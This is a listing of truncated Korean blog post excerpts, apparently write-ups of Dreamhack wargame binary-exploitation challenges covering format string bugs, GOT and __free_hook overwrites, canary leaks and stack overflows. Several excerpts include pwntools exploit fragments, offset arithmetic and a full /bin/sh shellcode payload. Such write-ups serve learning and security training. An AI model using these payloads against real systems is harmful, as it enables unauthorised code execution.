Dreamhack_System 11

[드림핵] cpp_smartpointer_1

https://dreamhack.io/wargame/challenges/63 cpp_smart_pointer_1Description 이 문제는 서버에서 작동하고 있는 서비스(cpp_smart_pointer_1)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾아 flag를 획득하세요! "flag" 파일의 내용을 워게임 사이트에dreamhack.io    대충 코드는 이런 식으로만 보고 동적분석으로 넘어가면 1. 실 직후 heap이랑 bin 상태 0x4015b4랑 0x402300은 뭘까  0x4015b4는  apple, banana 이런게 보인다. 일단 코드에서 fp가 apple을 가리켰으니 b0을 덮어야 하는 거 같다. 0x202300는 락 정책 그런 거인 거 같다.. info func로 보면..

Dreamhack_System 2024.06.10

[혼자실습] 드림핵 basic_exploitation_003

노션에 한 거 옮긴 건데 이때 시간에 쫒겨 간단히(?) 작성했다. checksecNX 빼곤 딱히 신경 쓸 게 없다. c코드heap_buf에 0x80만큼 동적으로 할당하고 read를 통해 입력 받음sprintf를 통해 heap_buf의 포맷 스트링의 결과가 stack_buf로 이동sprintf는 출력된 문자열을 저장하기 위해 미리 저장된 버퍼에 문자열을 쓰기 때문에 버퍼의 크기가 작으면 bof 발생 가능 gdbstack_buf는 0x98부터 시작. 카나리도 없으니 바로 덮자stack_buf ~ ebp까지ebp-0x98 ~ 0x00 → 152ebp0x00~0x03 → 4btye. 152+4 = 156ret0x04~ → get_shell의 주소  poc.pyfrom pwn import * p = remote(..

Dreamhack_System 2024.06.06

[혼자실습] 드림핵 basic_exploitation_002

checksec / https://dreamhack.io/wargame/challenges/4 c코드printf에서 포맷 스트링 취약점이 존재포맷 스트링 취약점을 이용해서 get_shell함수를 실행시키자 gdb로 메인함수 확인exit함수를 got overwrite하면 될 거 같다. 여기에는 안 나오지만 전체 코드를 보면 알람 핸들러가 있어 시간제한이 존재한다.exit함수의 got 주소를 get_shell의 주소로 바꾸자 get_shell주소 exit@plt 및 got 주소  앞의 2바이트(0x0804는 같으니까)는 냅두고 뒤에 2바이트만 get_shell의 주소(0x8609)로 덮자→ 시간제한도 있고 효율적이니까get_shell의 하위 2바이트인 8609를 보면 10진수 34313이다. → %34313..

Dreamhack_System 2024.05.26

[함께실습] Format String Bug

checksec / https://dreamhack.io/wargame/challenges/356PIE까지 활성화되어 있다.pie로 인해 코드영역의 주소가 계속 바뀜 → changeme의 주소도 계속 바뀐다.get_string()을 보면 buf에 4바이트까지 입력 가능하고 \n을 0으로 바꿔줌printf(buf)에서 포맷스트링 취약점 발생changeme 값이 1337이면 쉘 획득 → 포맷스트링으로 값을 1337로 바꾸자printf부분에 break 걸고 실행해서 AAAAA입력해보자  R13을 보면 0x5555~5293이 코드영역의 주소이고, 입력(AA~A)이 6번 오프셋에 되는 걸 확인할 수 있다.vmmap을 보면 base주소(offset : 0x00)가 0x555555554000인 걸 볼 수 있다.0x5..

Dreamhack_System 2024.05.26

드림핵 Memory Corruption : Format String Bug 개념 정리

포맷 스트링을 학습하는데 이 부분에서 막히는 사람이 꽤 있을 거 같아 적어본다. / https://learn.dreamhack.io/114  rsp를 보면 rsp: 0x00007fffffffddd0로 나옴 7fffffffdddc를 리틀엔디안 방식으로 변경 -> dcddffffff7f -> hex 인코딩 -> ÜÝÿÿÿ%p %p %p %p %p %p %p %p ~~ 해보면 대충 레지스터 ~~ 스택 순으로 나오게 된다. 오프셋 찾기rdi, rsi, rdx, rcx, rdx ,r8, r9 최소 6개 있으니까 %0~%5는 저 레지스터들 그러므로 최소 오프셋은 6부터다.%255c%10$n여기까지 적었을 때, 10자이므로 8의 배수를 맞춰줘야 함%255c%10$naaaaaa이러면 16자이므로 9 + (16/8) ..

Dreamhack_System 2024.05.26

[혼자실습] 드림핵 hook

checksec /Full RELRO(라 GOT Overwrite 불가능), 카나리 및 NX 적용되어 있다. stdout의 주소를 알려줌 → libc파일과 알려준 주소로 offset을 계산해 libc base를 알아냄size를 입력 받아 그만큼 동적 할당 → __malloc_hook사용자가 입력한 *(ptr+1)의 값이 long타입 형변환을 통해 주소처럼 저장됨(8btye 형식으로)free 사용 → __free_hook free_hook0x400a11 == 0x400aeb # /bin/바로 밑에 system함수가 호출되는데 인자로 “/bin/sh”이 들어감 poc.pyfrom pwn import *p = remote("host3.dreamhack.games",17642) #p = process('./ho..

Dreamhack_System 2024.05.26

[혼자실습] 드림핵 oneshot

checksec / https://dreamhack.io/wargame/challenges/34 c코드printf에서 stdout의 주소를 출력해주고msg에 비해 read에서 읽는 사이즉 더 크므로 bof가 발생한다.check가 0보다 크면 종료된다. stdout은 파일 포인터로 를 가리킴printf(”stdout : %p~~) 부분에서 IO_2~~_stdout의 주소가 출력될 거 같다 주황색 부분을 보면 msg는 rbp-0x20부터 시작초록색이 check부분인데 rbp-0x8[8byte] 0이면 jmp를 통해 main+119로 이동, 0이 아니라면 exit함수로 종료 #qword는 8byte‘A’ * 0x18 + ‘\x00’*8+ ‘B’*8 + ret(one_gadget 주소) 이런 느낌으로 진행될 거..

Dreamhack_System 2024.05.26

[혼자실습] 드림핵 ssp_001

checksec / https://dreamhack.io/wargame/challenges/33Partial RELRO, 카나리, NX가 적용되어 있다.카나리가 적용되어 있으므로 카나리를 릭한 다음 return 주소를 덮어야 한다. 아직 입문단계이므로 제공된 c코드를 보고 대충 공격 방법을 생각해보면 다음과 같다. gdb -  앞선 C코드를 참고하며 설명을 적어봤다. 어셈블리어 보고 그린 대략적인 구조(rbx-xxx)순서거리box[idx] to canaryidxebp-0x94 ←main+205 name_lenebp-0x90 ←maain+262 selectebp-8a ←main+108 box(0x40)ebp-0x88 [idx : 0x00 ~ 0x3f][0] ~ [63]name(0x40)ebp-0x48 [i..

Dreamhack_System 2024.05.26

[혼자실습] 드림핵 basic_exploitation_001

checksec 확인 / https://dreamhack.io/wargame/challenges/3NX 활성화되어 있어 스택에서 실행이 불가능하다.  pwndbg 실행 read_flag 주소를 찾아주자 메모리 구조는 basic_exploitation_000과 큰 차이 없으므로 간략하게 짚어 보면       0x80           0x4           0x4|      buf      |      sfp      |      ret      |0x00       0x80          0x84          0x88buf로부터 0x84만큼 가면 ret주소poc.pyfrom pwn import *p = remote("host3.dreamhack.games",19449)read_flag = 0x08..

Dreamhack_System 2024.05.26

[혼자실습] 드림핵 basic_exploitation_000

코드 분석 개념printf에서 buf의 주소를 알려주고, 스택에 실행권한이 있어 가능한 기법 poc.pyfrom pwn import *p = remote('host3.dreamhack.games',9843)p.recvuntil("buf = (")buf = int(p.recv(10),16)p.recvuntil('\n')shellcode = b"\x31\xc0\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x08\x40\x40\x40\xcd\x80"payload = shellcode.ljust(132,b"\x90") + p32(buf)p.sendline(payload)p.interactive()ljust로 남은 공간은 nop으..

Dreamhack_System 2024.05.26